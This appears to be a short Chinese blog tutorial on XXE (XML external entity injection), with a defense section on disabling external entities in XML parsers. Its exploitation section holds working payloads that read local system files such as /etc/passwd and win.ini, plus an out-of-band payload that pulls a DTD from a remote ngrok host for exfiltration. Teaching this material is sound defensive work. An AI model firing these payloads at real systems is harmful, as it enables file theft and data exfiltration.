什么是XXE
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
利用方法
file:///C:/Windows/win.ini
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9c3f5c9c.ngrok.io/a.dtd">
%remote;
]>
<comment>
<text>test&send;</text>
</comment>
进阶
学习
XML实体注入漏洞攻与防
XXE(XML External Entity attack)XML外部实体注入攻击
XXE漏洞利用技巧:从XML到远程代码执行
防御
理论上的防御措施
- 禁用外部实体
- 过滤和验证用户提交的xml数据
- 不允许xml中含有任何自己声明的dtd
实践有效的防御措施
配置xml parser只能使用静态dtd,禁止外来引入
以java为例,通过设置相应的属性值为false
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
版权声明:本文为Home_pig原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。